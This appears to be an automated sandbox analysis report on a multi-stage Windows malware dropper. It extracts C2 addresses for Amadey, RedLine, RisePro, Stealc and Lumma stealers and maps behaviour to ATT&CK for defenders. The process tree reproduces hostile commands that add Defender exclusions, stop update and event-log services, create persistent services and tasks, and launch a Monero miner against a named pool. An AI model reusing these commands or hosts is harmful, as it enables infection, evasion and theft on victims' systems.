Overview

overview

10

Static

static

7

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Analysis

  • max time kernel
    121s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-05-2024 14:40

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    a6fb33bc7d6387111cb9d4507aaa159332d68baadffb9c82cde7993f646a6d99.exe

  • Size

    1.5MB

  • MD5

    c44794b201b7dc97cc87305870125bda

  • SHA1

    2439e52cfd331a39257cd1fb3147d4fbcd8e0b89

  • SHA256

    a6fb33bc7d6387111cb9d4507aaa159332d68baadffb9c82cde7993f646a6d99

  • SHA512

    4e0f023cb7614a4a3e7f481edd66d4ceb4fc219eb50026375f5c9b0aa321094df06271dac9636338aa96a3ec0f605e5c10f75f143591c66ed7c9e176d3441f27

  • SSDEEP

    24576:Zlc31dGja+3smwC6x6ILzp5lw74KGgnIuszQOgGPUQjlxPNaSP6nPZI5zNq6nVdE:8/Gja+3sGE+Igu2OjbPNCqqV

Score
10/10
amadeylummaredlineriseprostealc118befc@logscloudyt_botc767c0zzvvdiscoveryevasionexecutioninfostealerpersistencespywarestealerthemidatrojan

Malware Config

Extracted

Family

amadey

Version

4.20

Botnet

18befc

C2

http://5.42.96.141

Attributes
  • install_dir

    908f070dff

  • install_file

    explorku.exe

  • strings_key

    b25a9385246248a95c600f9a061438e1

  • url_paths

    /go34ko8/index.php

rc4.plain

Extracted

Family

amadey

Version

4.20

Botnet

c767c0

C2

http://5.42.96.7

Attributes
  • install_dir

    7af68cdb52

  • install_file

    axplons.exe

  • strings_key

    e2ce58e78f631ed97d01fe7b70e85d5e

  • url_paths

    /zamo7h/index.php

rc4.plain

Extracted

Family

risepro

C2

147.45.47.126:58709

Extracted

Family

redline

Botnet

1

C2

185.215.113.67:26260

Extracted

Family

redline

Botnet

@LOGSCLOUDYT_BOT

C2

185.172.128.33:8970

Extracted

Family

stealc

Botnet

zzvv

C2

http://23.88.106.134

Attributes
  • url_path

    /c73eed764cc59dcb.php

Extracted

Family

lumma

C2

https://civilianurinedtsraov.shop/api

https://museumtespaceorsp.shop/api

https://buttockdecarderwiso.shop/api

https://averageaattractiionsl.shop/api

https://femininiespywageg.shop/api

https://employhabragaomlsp.shop/api

https://stalfbaclcalorieeis.shop/api

https://roomabolishsnifftwk.shop/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

    stealerlumma
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 4 IoCs
  • RisePro

    RisePro stealer is an infostealer distributed by PrivateLoader.

    stealerrisepro
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 9 IoCs
    evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks BIOS information in registry 2 TTPs 18 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 7 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 38 IoCs
  • Identifies Wine through registry keys 2 TTPs 4 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 3 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 53 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 5 IoCs
    evasiontrojan
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Modifies system certificate store 2 TTPs 4 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a6fb33bc7d6387111cb9d4507aaa159332d68baadffb9c82cde7993f646a6d99.exe
    "C:\Users\Admin\AppData\Local\Temp\a6fb33bc7d6387111cb9d4507aaa159332d68baadffb9c82cde7993f646a6d99.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Drops file in Windows directory
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:656
    • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
      "C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Adds Run key to start application
      • Checks whether UAC is enabled
      • Suspicious use of WriteProcessMemory
      PID:4924
      • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
        "C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"
        3⤵
          PID:3536
        • C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe
          "C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe"
          3⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:4476
          • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
            "C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"
            4⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1780
            • C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
              "C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:3640
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                6⤵
                  PID:4956
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  6⤵
                  • Checks computer location settings
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1468
                  • C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe
                    "C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe"
                    7⤵
                    • Executes dropped EXE
                    • Modifies system certificate store
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4020
                  • C:\Users\Admin\AppData\Roaming\configurationValue\One.exe
                    "C:\Users\Admin\AppData\Roaming\configurationValue\One.exe"
                    7⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:684
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
                    7⤵
                      PID:5480
                      • C:\Windows\SysWOW64\choice.exe
                        choice /C Y /N /D Y /T 3
                        8⤵
                          PID:4884
                  • C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
                    "C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"
                    5⤵
                    • Executes dropped EXE
                    • Modifies system certificate store
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4544
                  • C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
                    "C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"
                    5⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • Drops file in Program Files directory
                    • Suspicious use of WriteProcessMemory
                    PID:4980
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installg.bat" "
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3256
                      • C:\Windows\SysWOW64\sc.exe
                        Sc stop GameServerClient
                        7⤵
                        • Launches sc.exe
                        PID:1168
                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                        GameService remove GameServerClient confirm
                        7⤵
                        • Executes dropped EXE
                        PID:5240
                      • C:\Windows\SysWOW64\sc.exe
                        Sc delete GameSyncLink
                        7⤵
                        • Launches sc.exe
                        PID:5352
                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                        GameService remove GameSyncLink confirm
                        7⤵
                        • Executes dropped EXE
                        PID:5448
                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                        GameService install GameSyncLink "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
                        7⤵
                        • Executes dropped EXE
                        PID:5524
                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                        GameService start GameSyncLink
                        7⤵
                        • Executes dropped EXE
                        PID:5916
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installc.bat" "
                      6⤵
                        PID:6024
                        • C:\Windows\SysWOW64\sc.exe
                          Sc stop GameServerClientC
                          7⤵
                          • Launches sc.exe
                          PID:3616
                        • C:\Program Files (x86)\GameSyncLink\GameService.exe
                          GameService remove GameServerClientC confirm
                          7⤵
                          • Executes dropped EXE
                          PID:980
                        • C:\Windows\SysWOW64\sc.exe
                          Sc delete PiercingNetLink
                          7⤵
                          • Launches sc.exe
                          PID:4352
                        • C:\Program Files (x86)\GameSyncLink\GameService.exe
                          GameService remove PiercingNetLink confirm
                          7⤵
                          • Executes dropped EXE
                          PID:1592
                        • C:\Program Files (x86)\GameSyncLink\GameService.exe
                          GameService install PiercingNetLink "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
                          7⤵
                          • Executes dropped EXE
                          PID:2620
                        • C:\Program Files (x86)\GameSyncLink\GameService.exe
                          GameService start PiercingNetLink
                          7⤵
                          • Executes dropped EXE
                          PID:1744
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installm.bat" "
                        6⤵
                          PID:5616
                          • C:\Windows\SysWOW64\sc.exe
                            Sc delete GameSyncLinks
                            7⤵
                            • Launches sc.exe
                            PID:3884
                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                            GameService remove GameSyncLinks confirm
                            7⤵
                            • Executes dropped EXE
                            PID:4880
                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                            GameService install GameSyncLinks "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                            7⤵
                            • Executes dropped EXE
                            PID:3116
                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                            GameService start GameSyncLinks
                            7⤵
                            • Executes dropped EXE
                            PID:4392
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
                          6⤵
                            PID:2444
                        • C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe
                          "C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe"
                          5⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          • Suspicious use of WriteProcessMemory
                          PID:3796
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                            6⤵
                              PID:1268
                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                              6⤵
                              • Loads dropped DLL
                              • Checks processor information in registry
                              • Suspicious behavior: EnumeratesProcesses
                              PID:1196
                          • C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe
                            "C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe"
                            5⤵
                            • Executes dropped EXE
                            PID:5184
                          • C:\Users\Admin\AppData\Local\Temp\1000065001\gold.exe
                            "C:\Users\Admin\AppData\Local\Temp\1000065001\gold.exe"
                            5⤵
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            PID:5752
                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                              6⤵
                                PID:5872
                            • C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
                              "C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe"
                              5⤵
                              • Checks computer location settings
                              • Executes dropped EXE
                              PID:6136
                              • C:\Windows\SysWOW64\schtasks.exe
                                "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Newoff.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe" /F
                                6⤵
                                • Creates scheduled task(s)
                                PID:5260
                              • C:\Users\Admin\AppData\Local\Temp\1000272001\FirstZ.exe
                                "C:\Users\Admin\AppData\Local\Temp\1000272001\FirstZ.exe"
                                6⤵
                                • Executes dropped EXE
                                PID:5248
                                • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                  7⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:5456
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                  7⤵
                                    PID:5192
                                    • C:\Windows\system32\wusa.exe
                                      wusa /uninstall /kb:890830 /quiet /norestart
                                      8⤵
                                        PID:1488
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe stop UsoSvc
                                      7⤵
                                      • Launches sc.exe
                                      PID:5824
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                      7⤵
                                      • Launches sc.exe
                                      PID:5340
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe stop wuauserv
                                      7⤵
                                      • Launches sc.exe
                                      PID:1204
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe stop bits
                                      7⤵
                                      • Launches sc.exe
                                      PID:3528
                                    • C:\Windows\system32\sc.exe
                                      C:\Windows\system32\sc.exe stop dosvc
                                      7⤵
                                      • Launches sc.exe
                                      PID:3460
                                    • C:\Windows\system32\powercfg.exe
                                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                      7⤵
                                        PID:2364
                                      • C:\Windows\system32\powercfg.exe
                                        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                        7⤵
                                          PID:2240
                                        • C:\Windows\system32\powercfg.exe
                                          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                          7⤵
                                            PID:2184
                                          • C:\Windows\system32\powercfg.exe
                                            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                            7⤵
                                              PID:2440
                                            • C:\Windows\system32\sc.exe
                                              C:\Windows\system32\sc.exe delete "WSNKISKT"
                                              7⤵
                                              • Launches sc.exe
                                              PID:5460
                                            • C:\Windows\system32\sc.exe
                                              C:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"
                                              7⤵
                                              • Launches sc.exe
                                              PID:440
                                            • C:\Windows\system32\sc.exe
                                              C:\Windows\system32\sc.exe stop eventlog
                                              7⤵
                                              • Launches sc.exe
                                              PID:1160
                                            • C:\Windows\system32\sc.exe
                                              C:\Windows\system32\sc.exe start "WSNKISKT"
                                              7⤵
                                              • Launches sc.exe
                                              PID:3284
                                        • C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe
                                          "C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe"
                                          5⤵
                                          • Executes dropped EXE
                                          • Suspicious use of SetThreadContext
                                          PID:5460
                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                            6⤵
                                              PID:5844
                                      • C:\Users\Admin\AppData\Local\Temp\1000014001\67b2db9f7c.exe
                                        "C:\Users\Admin\AppData\Local\Temp\1000014001\67b2db9f7c.exe"
                                        3⤵
                                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                        • Checks BIOS information in registry
                                        • Executes dropped EXE
                                        • Checks whether UAC is enabled
                                        PID:5012
                                      • C:\Users\Admin\1000017002\3e5db9007c.exe
                                        "C:\Users\Admin\1000017002\3e5db9007c.exe"
                                        3⤵
                                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                        • Checks BIOS information in registry
                                        • Executes dropped EXE
                                        • Identifies Wine through registry keys
                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:2332
                                  • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
                                    C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
                                    1⤵
                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                    • Checks BIOS information in registry
                                    • Executes dropped EXE
                                    • Checks whether UAC is enabled
                                    PID:4540
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3940 --field-trial-handle=2284,i,15722001240173834669,15048020084704567542,262144 --variations-seed-version /prefetch:8
                                    1⤵
                                      PID:3280
                                    • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                                      C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                                      1⤵
                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                      • Checks BIOS information in registry
                                      • Executes dropped EXE
                                      • Identifies Wine through registry keys
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:440
                                    • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
                                      C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
                                      1⤵
                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                      • Checks BIOS information in registry
                                      • Executes dropped EXE
                                      • Checks whether UAC is enabled
                                      PID:4072
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=3500 --field-trial-handle=2284,i,15722001240173834669,15048020084704567542,262144 --variations-seed-version /prefetch:3
                                      1⤵
                                        PID:5552
                                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                        "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                        1⤵
                                        • Executes dropped EXE
                                        PID:5940
                                        • C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe
                                          "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
                                          2⤵
                                          • Executes dropped EXE
                                          PID:5472
                                          • C:\Windows\Temp\158969.exe
                                            "C:\Windows\Temp\158969.exe" --list-devices
                                            3⤵
                                            • Executes dropped EXE
                                            • Loads dropped DLL
                                            PID:1648
                                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                        "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                        1⤵
                                        • Executes dropped EXE
                                        PID:5116
                                        • C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe
                                          "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
                                          2⤵
                                          • Executes dropped EXE
                                          PID:5380
                                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                        "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                        1⤵
                                        • Executes dropped EXE
                                        PID:4360
                                        • C:\Windows\System32\Conhost.exe
                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          2⤵
                                            PID:1268
                                          • C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe
                                            "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                                            2⤵
                                            • Executes dropped EXE
                                            PID:5920
                                            • C:\Windows\Temp\863401.exe
                                              "C:\Windows\Temp\863401.exe" --http-port 14343 -o xmr.2miners.com:2222 -u 83dQM82bj4yY83XKGKHnbHTzqgY4FUt2pi1JS15u7rTs8v84mTU5ny5MiRoSeyduBUAQKFZ6MsvbMHYTisNeThDM3BqQ59y --coin XMR -t 1 --no-color -p x
                                              3⤵
                                              • Executes dropped EXE
                                              • Suspicious use of AdjustPrivilegeToken
                                              • Suspicious use of FindShellTrayWindow
                                              PID:5908
                                        • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                                          C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                                          1⤵
                                            PID:6084
                                          • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
                                            C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
                                            1⤵
                                              PID:1196
                                            • C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
                                              C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
                                              1⤵
                                                PID:212
                                              • C:\ProgramData\wikombernizc\reakuqnanrkn.exe
                                                C:\ProgramData\wikombernizc\reakuqnanrkn.exe
                                                1⤵
                                                  PID:5424
                                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                    2⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    PID:4340

                                                Network

                                                MITRE ATT&CK Enterprise v15

                                                Reconnaissance

                                                Resource Development

                                                Initial Access

                                                Execution

                                                Command and Scripting Interpreter

                                                1
                                                T1059

                                                PowerShell

                                                1
                                                T1059.001

                                                Scheduled Task/Job

                                                1
                                                T1053

                                                System Services

                                                2
                                                T1569

                                                Service Execution

                                                2
                                                T1569.002

                                                Persistence

                                                Boot or Logon Autostart Execution

                                                1
                                                T1547

                                                Registry Run Keys / Startup Folder

                                                1
                                                T1547.001

                                                Create or Modify System Process

                                                2
                                                T1543

                                                Windows Service

                                                2
                                                T1543.003

                                                Scheduled Task/Job

                                                1
                                                T1053

                                                Privilege Escalation

                                                Boot or Logon Autostart Execution

                                                1
                                                T1547

                                                Registry Run Keys / Startup Folder

                                                1
                                                T1547.001

                                                Create or Modify System Process

                                                2
                                                T1543

                                                Windows Service

                                                2
                                                T1543.003

                                                Scheduled Task/Job

                                                1
                                                T1053

                                                Defense Evasion

                                                Impair Defenses

                                                1
                                                T1562

                                                Modify Registry

                                                2
                                                T1112

                                                Subvert Trust Controls

                                                1
                                                T1553

                                                Install Root Certificate

                                                1
                                                T1553.004

                                                Virtualization/Sandbox Evasion

                                                2
                                                T1497

                                                Credential Access

                                                Unsecured Credentials

                                                3
                                                T1552

                                                Credentials In Files

                                                3
                                                T1552.001

                                                Discovery

                                                Query Registry

                                                6
                                                T1012

                                                System Information Discovery

                                                5
                                                T1082

                                                Virtualization/Sandbox Evasion

                                                2
                                                T1497

                                                Lateral Movement

                                                Collection

                                                Data from Local System

                                                3
                                                T1005

                                                Command and Control

                                                Exfiltration

                                                Impact

                                                Service Stop

                                                1
                                                T1489

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                  Filesize

                                                  288KB

                                                  MD5

                                                  d9ec6f3a3b2ac7cd5eef07bd86e3efbc

                                                  SHA1

                                                  e1908caab6f938404af85a7df0f80f877a4d9ee6

                                                  SHA256

                                                  472232ca821b5c2ef562ab07f53638bc2cc82eae84cea13fbe674d6022b6481c

                                                  SHA512

                                                  1b6b8702dca3cb90fe64c4e48f2477045900c5e71dd96b84f673478bab1089febfa186bfc55aebd721ca73db1669145280ebb4e1862d3b9dc21f712cd76a07c4

                                                  Download Submit

                                                • C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe
                                                  Filesize

                                                  2.5MB

                                                  MD5

                                                  e6943a08bb91fc3086394c7314be367d

                                                  SHA1

                                                  451d2e171f906fa6c43f8b901cd41b0283d1fa40

                                                  SHA256

                                                  aafdcfe5386452f4924cfcc23f2cf7eccf3f868947ad7291a77b2eca2af0c873

                                                  SHA512

                                                  505d3c76988882602f06398e747c4e496ecad9df1b7959069b87c8111c4d9118484f4d6baef5f671466a184c8caec362d635da210fa0987ccb746cbeea218d2a

                                                  Download Submit

                                                • C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe
                                                  Filesize

                                                  13.2MB

                                                  MD5

                                                  72b396a9053dff4d804e07ee1597d5e3

                                                  SHA1

                                                  5ec4fefa66771613433c17c11545c6161e1552d5

                                                  SHA256

                                                  d0b206f0f47a9f8593b6434dc27dadde8480a902e878882fa8c73fc7fe01b11d

                                                  SHA512

                                                  ad96c9ca2feae7af7fcf01a843d5aa6cbdde0520d68dedff44554a17639c6c66b2301d73daf272708cb76c22eae2d5c89db23af45105c4f0e35f4787f98e192b

                                                  Download Submit

                                                • C:\Program Files (x86)\GameSyncLink\installc.bat
                                                  Filesize

                                                  301B

                                                  MD5

                                                  998ab24316795f67c26aca0f1b38c8ce

                                                  SHA1

                                                  a2a6dc94e08c086fe27f8c08cb8178e7a64f200d

                                                  SHA256

                                                  a468b43795f1083fb37b12787c5ff29f8117c26ac35af470084e00c48280442e

                                                  SHA512

                                                  7c9c2ade898a8defb6510ddd15730bec859d4474071eb6b8e8738ea6089764f81924ad2a6ebf0479d4fed7d61890edaa38f4bfbf70a4e6b30d33aa5bfc5b5c75

                                                  Download Submit

                                                • C:\Program Files (x86)\GameSyncLink\installg.bat
                                                  Filesize

                                                  284B

                                                  MD5

                                                  5dee3cbf941c5dbe36b54690b2a3c240

                                                  SHA1

                                                  82b9f1ad3ca523f3794e052f7e67ecdcd1ae87e1

                                                  SHA256

                                                  98370b86626b8fd7a7cac96693348045b081326c49e2421113f49a5ea3588edb

                                                  SHA512

                                                  9ee431d485e2f09268a22b287b0960859d2f22db8c7e61309a042999c436b3de74f5d75837b739e01122a796ad65bc6468d009ec6ddf4962f4ff288155410556

                                                  Download Submit

                                                • C:\Program Files (x86)\GameSyncLink\installm.bat
                                                  Filesize

                                                  218B

                                                  MD5

                                                  94b87b86dc338b8f0c4e5869496a8a35

                                                  SHA1

                                                  2584e6496d048068f61ac72f5c08b54ad08627c3

                                                  SHA256

                                                  2928d8e9a41f39d3802cfd2900d8edeb107666baa942d9c0ffbfd0234b5e5bfc

                                                  SHA512

                                                  b67eb73fe51d4dba990789f1e0123e902dac6d26569851c3d51ca0a575221ce317f973999d962669016017d8f81a01f11bd977609e66bb1b244334bce2db5d5d

                                                  Download Submit

                                                • C:\ProgramData\mozglue.dll
                                                  Filesize

                                                  593KB

                                                  MD5

                                                  c8fd9be83bc728cc04beffafc2907fe9

                                                  SHA1

                                                  95ab9f701e0024cedfbd312bcfe4e726744c4f2e

                                                  SHA256

                                                  ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

                                                  SHA512

                                                  fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

                                                  Download Submit

                                                • C:\ProgramData\nss3.dll
                                                  Filesize

                                                  2.0MB

                                                  MD5

                                                  1cc453cdf74f31e4d913ff9c10acdde2

